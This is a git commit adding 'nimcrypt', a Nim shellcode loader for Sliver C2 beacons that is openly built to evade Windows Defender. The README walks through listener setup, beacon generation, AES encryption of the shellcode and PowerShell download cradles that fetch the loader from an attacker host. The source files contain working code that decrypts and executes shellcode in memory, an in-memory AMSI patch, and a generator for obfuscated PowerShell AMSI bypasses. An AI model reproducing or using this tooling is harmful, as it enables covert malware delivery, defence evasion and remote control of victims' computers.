This commit is contained in:
Chaelsoo
2026-06-29 10:27:01 +01:00
commit 86ed86383f
7 changed files with 393 additions and 0 deletions
+14
View File
@@ -0,0 +1,14 @@
# Compiled binaries
*.exe
*.dll
*.bin
*.a
# Output dirs
bins/
lib/
output/
# Debug artifacts
loader_debug.nim
debug.txt
+131
View File
@@ -0,0 +1,131 @@
# nimcrypt
A Sliver shellcode loader written in Nim. Encrypts your Sliver beacon shellcode with AES-256-CBC before dropping it on disk, then decrypts and executes it in memory on the target — keeping the raw shellcode off disk and out of static analysis reach.
Tested against Windows Defender with real-time monitoring enabled.
## How it works
### Encryption (your machine)
`encrypt.py` reads the raw shellcode and encrypts it with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The encrypted blob is what gets transferred to the target — the shellcode never touches the target's disk in plaintext, so static analysis and on-write Defender scans see only ciphertext.
### Loader execution (target machine)
The loader does the following at runtime:
1. **Reads** the encrypted shellcode file from disk
2. **Decrypts** it in memory using the Windows BCrypt API (AES-256-CBC). The key and IV are passed as arguments at runtime — they never exist in the binary itself
3. **Allocates** a memory region with `VirtualAlloc` using `PAGE_READWRITE` permissions
4. **Copies** the decrypted shellcode into that region
5. **Changes** the memory permissions to `PAGE_EXECUTE_READ` via `VirtualProtect` — the region is now executable but no longer writable (RW → RX)
6. **Executes** the shellcode by casting the memory address to a function pointer and calling it
The RW → RX transition is intentional — `PAGE_EXECUTE_READWRITE` (RWX) is a well-known red flag that Defender and EDRs specifically watch for. Allocating as RW first, writing the shellcode, then flipping to RX is the standard approach to avoid that signature.
The decrypted shellcode only exists in memory for the duration of execution — it is never written back to disk.
## Requirements
**On your Linux machine:**
- Nim + nimble (`nimble install winim`)
- `x86_64-w64-mingw32-gcc` (mingw-w64)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## Full workflow
### 1. Set up Sliver listener
```
[127.0.0.1] sliver > mtls --lhost 10.10.14.42 --lport 443
[*] Starting mTLS listener ...
[*] Successfully started job #1
```
### 2. Generate beacon shellcode
```
[127.0.0.1] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols mssql
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /path/to/WICKED_SLIDER.bin
```
> `--skip-symbols` speeds up build time. `--format shellcode` is required — do not use `--format exe`.
### 3. Encrypt the shellcode
```bash
python3 encrypt.py WICKED_SLIDER.bin
# [+] encrypted: WICKED_SLIDER_enc.bin (17875072 bytes)
# [+] key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# [+] iv: 83b82994e8c512d536f7d42e89d6e761
```
Save the key and IV — you need them at runtime.
### 4. Compile the loader
```bash
nim c -d:release -o:loader.exe loader.nim
```
The `nim.cfg` handles all cross-compilation flags automatically. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard Windows system libraries.
### 5. Transfer to target
Transfer `loader.exe` and `WICKED_SLIDER_enc.bin` to the target however you have access — certutil, PowerShell WebClient, SMB, etc.
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/WICKED_SLIDER_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. Execute
```
loader.exe beacon.bin <key> <iv>
```
Example:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
Raw unencrypted shellcode is also supported (no key/IV needed):
```
loader.exe shellcode.bin
```
## AMSI patch (PowerShell sessions)
If you are delivering via PowerShell rather than cmd, AMSI will scan your download cradle. Patch it first:
```bash
python3 gen_amsi.py
```
Paste the output into your PowerShell session before downloading or executing anything. A fresh randomized patch is generated on every run — different XOR key and byte arrays each time, so no two generated scripts share the same pattern.
The patch works by:
- Resolving `AmsiScanBuffer` via export table hash matching (FNV-1a, computed at compile time) — the string never appears in the script
- Patching via `WriteProcessMemory` on the current process — no `VirtualProtect` call needed
- All strings (`amsi.dll`, `AmsiScanBuffer`, the C# P/Invoke definition) are XOR-encoded with the per-run random key
> AMSI is irrelevant if you are executing `loader.exe` directly from cmd or xp_cmdshell — it only hooks script engines (PowerShell, JScript, .NET). Skip the patch in those cases.
## Notes
- The loader is statically linked against the mingw pthread runtime — no `libwinpthread-1.dll` required on the target
- Requires Windows 10 / Server 2016+ (Universal CRT). Server 2012 R2 works with KB3118401 installed
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC anyway — decryption works correctly
## References
- [gatariee/ldrgen](https://github.com/gatariee/ldrgen)
- [D3Ext/Hooka](https://github.com/D3Ext/Hooka)
+86
View File
@@ -0,0 +1,86 @@
import winim/lean
import std/strutils
# Random XOR key generated at compile time via shell - different every build
const xorKey = static:
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
if rc == 0: uint8(o.strip().parseInt)
else:
# fallback: derive from compile timestamp so it still varies per build
let t = CompileTime
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
result = newSeq[uint8](s.len)
for i, c in s:
result[i] = uint8(ord(c)) xor xorKey
# "amsi.dll" stored XOR'd - never plaintext in the binary
const encDll = encodeBytes("amsi.dll")
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
# Stored XOR'd - different raw bytes every build
const encPatch = [
uint8(0x31) xor xorKey,
uint8(0xC0) xor xorKey,
uint8(0xC3) xor xorKey,
]
proc decodeStr(enc: openArray[uint8]): string =
result = newString(enc.len)
for i, b in enc:
result[i] = char(b xor xorKey)
# FNV-1a constants
const
fnvBasis = 0xcbf29ce484222325'u64
fnvPrime = 0x100000000001b3'u64
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
const scanHash = static:
var h = fnvBasis
for c in "AmsiScanBuffer":
h = (h xor uint64(ord(c))) * fnvPrime
h
proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
result = fnvBasis
var i = 0
while p[i] != 0:
result = (result xor uint64(p[i])) * fnvPrime
inc i
proc findByHash(base: uint, target: uint64): pointer =
let dos = cast[ptr IMAGE_DOS_HEADER](base)
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
if expRva == 0: return nil
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
for i in 0 ..< int(exp.NumberOfNames):
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
if hashExport(namePtr) == target:
return cast[pointer](base + uint(fns[ords[i]]))
return nil
proc patchAmsi*() =
let dllName = decodeStr(encDll)
let hAmsi = cast[uint](LoadLibraryA(dllName))
if hAmsi == 0: return
let fn = findByHash(hAmsi, scanHash)
if fn == nil: return
var old: DWORD = 0
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
let p = cast[ptr UncheckedArray[uint8]](fn)
p[0] = encPatch[0] xor xorKey
p[1] = encPatch[1] xor xorKey
p[2] = encPatch[2] xor xorKey
discard VirtualProtect(fn, 3, old, addr old)
+24
View File
@@ -0,0 +1,24 @@
#!/usr/bin/env python3
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
if len(sys.argv) < 2:
print(f"usage: {sys.argv[0]} <shellcode.bin>")
sys.exit(1)
with open(sys.argv[1], "rb") as f:
shellcode = f.read()
key = os.urandom(32)
iv = os.urandom(16)
ct = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(shellcode, 16))
out = sys.argv[1].rsplit(".", 1)[0] + "_enc.bin"
with open(out, "wb") as f:
f.write(ct)
print(f"[+] encrypted: {out} ({len(ct)} bytes)")
print(f"[+] key: {key.hex()}")
print(f"[+] iv: {iv.hex()}")
+27
View File
@@ -0,0 +1,27 @@
#!/usr/bin/env python3
import secrets
k = secrets.randbelow(200) + 10
def enc(s):
return ','.join(str(ord(c) ^ k) for c in s)
def enc_bytes(b):
return ','.join(str(x ^ k) for x in b)
# entire C# definition XOR'd - no plaintext P/Invoke signatures in the script
cs = ('using System;using System.Runtime.InteropServices;'
'public class A{'
'[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr h,string n);'
'[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string n);'
'[DllImport("kernel32")]public static extern bool WriteProcessMemory(IntPtr h,IntPtr a,byte[] b,int n,out int w);}')
# mov eax, 0x80070057 ; ret → AmsiScanBuffer returns E_INVALIDARG, caller skips scan
patch = [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
print(f"$k=0x{k:02X}")
print(f"Add-Type -TypeDefinition (-join(@({enc(cs)})|%{{[char]($_-bxor$k)}}))")
print(f"$h=[A]::LoadLibrary((-join(@({enc('amsi.dll')})|%{{[char]($_-bxor$k)}})))")
print(f"$a=[A]::GetProcAddress($h,(-join(@({enc('AmsiScanBuffer')})|%{{[char]($_-bxor$k)}})))")
print(f"$p=[byte[]](@({enc_bytes(patch)})|%{{$_-bxor$k}})")
print(f"$w=0;[A]::WriteProcessMemory(-1,$a,$p,6,[ref]$w)")
+103
View File
@@ -0,0 +1,103 @@
import winim
import std/os
import std/strutils
import amsi
proc aesDecrypt(data: var seq[byte], key: openArray[byte], iv: openArray[byte]) =
var
hAlg: BCRYPT_ALG_HANDLE = nil
hKey: BCRYPT_KEY_HANDLE = nil
cbResult: ULONG = 0
ivCopy = newSeq[byte](iv.len)
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
var r: NTSTATUS
r = BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
echo "[*] BCryptOpenAlgorithmProvider: 0x", r.toHex()
var cbcMode = BCRYPT_CHAIN_MODE_CBC
r = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
cast[PUCHAR](addr cbcMode),
ULONG(sizeof(cbcMode)), 0)
echo "[*] BCryptSetProperty: 0x", r.toHex()
r = BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
echo "[*] BCryptGenerateSymmetricKey: 0x", r.toHex()
r = BCryptDecrypt(hKey,
cast[PUCHAR](addr data[0]), ULONG(data.len),
nil,
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
cast[PUCHAR](addr data[0]), ULONG(data.len),
addr cbResult, 0)
echo "[*] BCryptDecrypt: 0x", r.toHex(), " cbResult: ", cbResult
BCryptDestroyKey(hKey)
BCryptCloseAlgorithmProvider(hAlg, 0)
data.setLen(cbResult.int)
proc parseHexBytes(s: string): seq[byte] =
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
result = newSeq[byte](clean.len div 2)
for i in 0 ..< result.len:
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
proc main() =
patchAmsi()
if paramCount() < 1:
echo "Usage: ", getAppFilename(), " <shellcode.bin> [key_hex iv_hex]"
quit(1)
let filename = paramStr(1)
let encrypted = paramCount() >= 3
echo "[*] file: ", filename, " | encrypted: ", encrypted
var f: File
if not open(f, filename, fmRead):
echo "[-] failed to open: ", filename
quit(1)
let size = f.getFileSize().int
var shellcode = newSeq[byte](size)
discard f.readBuffer(addr shellcode[0], size)
f.close()
echo "[*] read ", size, " bytes"
if encrypted:
let key = parseHexBytes(paramStr(2))
let iv = parseHexBytes(paramStr(3))
echo "[*] key len: ", key.len, " iv len: ", iv.len
if key.len != 32 or iv.len != 16:
echo "[-] bad key/iv length"
quit(1)
aesDecrypt(shellcode, key, iv)
echo "[*] decrypted size: ", shellcode.len
echo "[*] allocating ", shellcode.len, " bytes"
let buf = VirtualAlloc(nil,
SIZE_T(shellcode.len),
MEM_COMMIT or MEM_RESERVE,
PAGE_READWRITE)
if buf == nil:
echo "[-] VirtualAlloc failed"
quit(1)
echo "[*] allocated at 0x", cast[uint](buf).toHex()
copyMem(buf, addr shellcode[0], shellcode.len)
echo "[*] shellcode copied"
var oldProtect: DWORD = 0
let vpRet = VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
echo "[*] VirtualProtect: ", vpRet
echo "[*] executing..."
let fn = cast[proc() {.cdecl.}](buf)
fn()
echo "[*] returned from shellcode"
main()
+8
View File
@@ -0,0 +1,8 @@
cpu = "amd64"
os = "windows"
cc = "gcc"
gcc.exe = "x86_64-w64-mingw32-gcc"
gcc.linkerexe = "x86_64-w64-mingw32-gcc"
define = "mingw"
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lpthread -Wl,--no-whole-archive,-Bdynamic"
opt = "size"